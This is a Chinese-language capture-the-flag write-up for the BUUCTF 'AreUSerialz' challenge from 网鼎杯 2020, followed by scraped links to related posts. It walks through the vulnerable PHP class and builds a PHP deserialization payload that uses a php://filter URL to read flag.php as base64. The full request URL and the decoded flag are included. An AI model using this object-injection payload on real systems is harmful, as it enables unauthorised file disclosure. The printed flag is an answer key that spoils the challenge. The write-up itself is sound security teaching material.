BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz

看题

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
protected $filename;
protected $content; function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
} public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
} private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
} private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
} private function output($s) {
echo "[Result]: <br>";
echo $s;
} function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
} } function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
} if(isset($_GET{'str'})) { $str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
} }

可以看到,首先让我们传入一个str字符串,往后看到is_valid函数进行限制,传入的每个字符ascii码值必须在32~125之间,然后对传入的str执行反序列化。

先用destruct函数

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

如果op===2,那么op会赋值为1,content无值,并执行process函数,(===强类型比较)

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

process函数,若op=="1",则执行write函数;若op=="2",则执行read函数,并且将值赋到res然后输出;否则输出Bad Hacker!

此处为==,弱类型比较,op=="2",结果为true,op==="2",结果为false。

read函数

  private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

调用file_get_contents函数读取filename的内容,并且将值赋给res

include("flag.php");

可以通过php://filter伪协议读取flag.php中的内容。

构造反序列化

<?php
class FileHandler { protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content; } $a = new FileHandler();
echo serialize($a);
?>

若用php版本低于7,会有00%,其对应ascii值为0,不在32~125,但是php7.X对属性类型不敏感,所以将protected改为public

<?php
class FileHandler { public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content; } $a = new FileHandler();
echo serialize($a);
?>

得到序列化结果

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

构造payload

http://e4929784-06ac-4807-8418-f142d1f5c1be.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}

得到一段base64加密的语句。

PD9waHAgJGZsYWc9J2ZsYWd7ODM0Y2UxOTAtZTdiMC00MGYxLWIxYTQtMDE2YjBhMTE3YjMyfSc7Cg==

base64解码得到

<?php $flag='flag{834ce190-e7b0-40f1-b1a4-016b0a117b32}';

BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz的更多相关文章

  1. [网鼎杯 2020 青龙组]AreUSerialz

    题目分析 <?php include("flag.php"); highlight_file(FILE); class FileHandler { protected $op ...

  2. 网鼎杯2020青龙组writeup-web

    本文首发于Leon的Blog,如需转载请注明原创地址并联系作者 AreUSerialz 开题即送源码: <?php include("flag.php"); highligh ...

  3. 【网鼎杯2020青龙组】Web WriteUp

    AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...

  4. BUUCTF | [网鼎杯 2020 朱雀组]phpweb

    一道比较简单的题,不过对PHP还是不够熟悉 知识点 1.PHP date函数 PHP date() 函数用于对日期或时间进行格式化. 语法 date(format,timestamp) 参数 描述 f ...

  5. 刷题[网鼎杯 2020 朱雀组]phpweb

    解题思路 打开是一个蛮有意思的背景,众生皆懒狗,是自己没错了.源代码看一看,啥都没有.抓个包 诶,一看到func和p两个参数,想到了call_user_func(). 尝试着把date改成system ...

  6. 【网鼎杯2020朱雀组】Web WriteUp

    nmap nmap语法,很简单. 127.0.0.1' -iL /flag -oN vege.txt ' phpweb 打开,抓包,发现可以传递函数和其参数 试了一下很多函数都被过滤了,不能执行系统命 ...

  7. 【网鼎杯2020白虎组】Web WriteUp [picdown]

    picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...

  8. [网鼎杯 2020 朱雀组]phpweb-1|反序列化

    1.打开界面之后界面一直在刷新,检查源代码也未发现提示信息,但是在检查中发现了两个隐藏的属性:func和p,抓包进行查看一下,结果如下: 2.对两个参数与返回值进行分析,我们使用dat时一般是这种格式 ...

  9. 网鼎杯2020 AreUSerialz

    0x00 前言 ...有一说一,赵总的BUUCTF上的这道题目并没有复现到精髓.其实感觉出题人的题目本身没有那么简单的,只不过非预期实在是太简单惹. 涉及知识点: 1.php中protected变量反 ...

随机推荐

  1. K8S系列第三篇(Docker网络)

    目录 docker 网络 Docker 的四种网络模 一.网络基础 1.网络名称空间介绍 2.创建一个命名空间 1)Veth设备对 2)Veth设备操作 1> 创建Veth设备对 2> 绑 ...

  2. fatal error: all goroutines are asleep - deadlock!

    一.问题截图 fatal error: all goroutines are asleep - deadlock! goroutine 1 [chan receive]: main.main() /U ...

  3. Python自动化测试面试题-Selenium篇

    目录 Python自动化测试面试题-经验篇 Python自动化测试面试题-用例设计篇 Python自动化测试面试题-Linux篇 Python自动化测试面试题-MySQL篇 Python自动化测试面试 ...

  4. C++第四十四篇 -- MFC使用ChartCtrl绘制动态曲线

    前言 目的:使用控制台程序带MFC类库画一个动态曲线图 参考链接: https://blog.csdn.net/sinat_29890433/article/details/105360032 htt ...

  5. noip模拟22[d·e·f]

    noip模拟22 solutions 哈哈哈,这次暴力打满直接190,其实不到哈哈哈,187.. 这次的题暴力极其好打,但是正解确实不简单... 打了好久才改完这个题,改完的时候爽暴了 这些一个字母的 ...

  6. Mybatis-初见

    目录 介绍 示例 搭建环境 创建一个模块 CURD 万能Map 配置解析 环境配置 environments 属性 properties 类型别名 typeAliases 其他配置 映射器 mappe ...

  7. (数据科学学习手札126)Python中JSON结构数据的高效增删改操作

    本文示例代码及文件已上传至我的Github仓库https://github.com/CNFeffery/DataScienceStudyNotes 1 简介 在上一期文章中我们一起学习了在Python ...

  8. azure bash: kubectl: command not found

    [root@***]# az aks install-cliDownloading client to "/usr/local/bin/kubectl" from "ht ...

  9. web浏览器知识点

    网页是怎么形成的 前端的代码(英文字母)---->浏览器渲染 ------- >  客户眼中的效果 浏览器(显示代码) 游览器是网页显示,运行的平台,常用的的游览器有IE(Edge).火狐 ...

  10. PHP构造函数__construct()

    (!注意,__construct()前的"__"是两个"_",也就是"_ _") 在PHP5.0后的版本,允许开发者设定一个构造函数,来初始 ...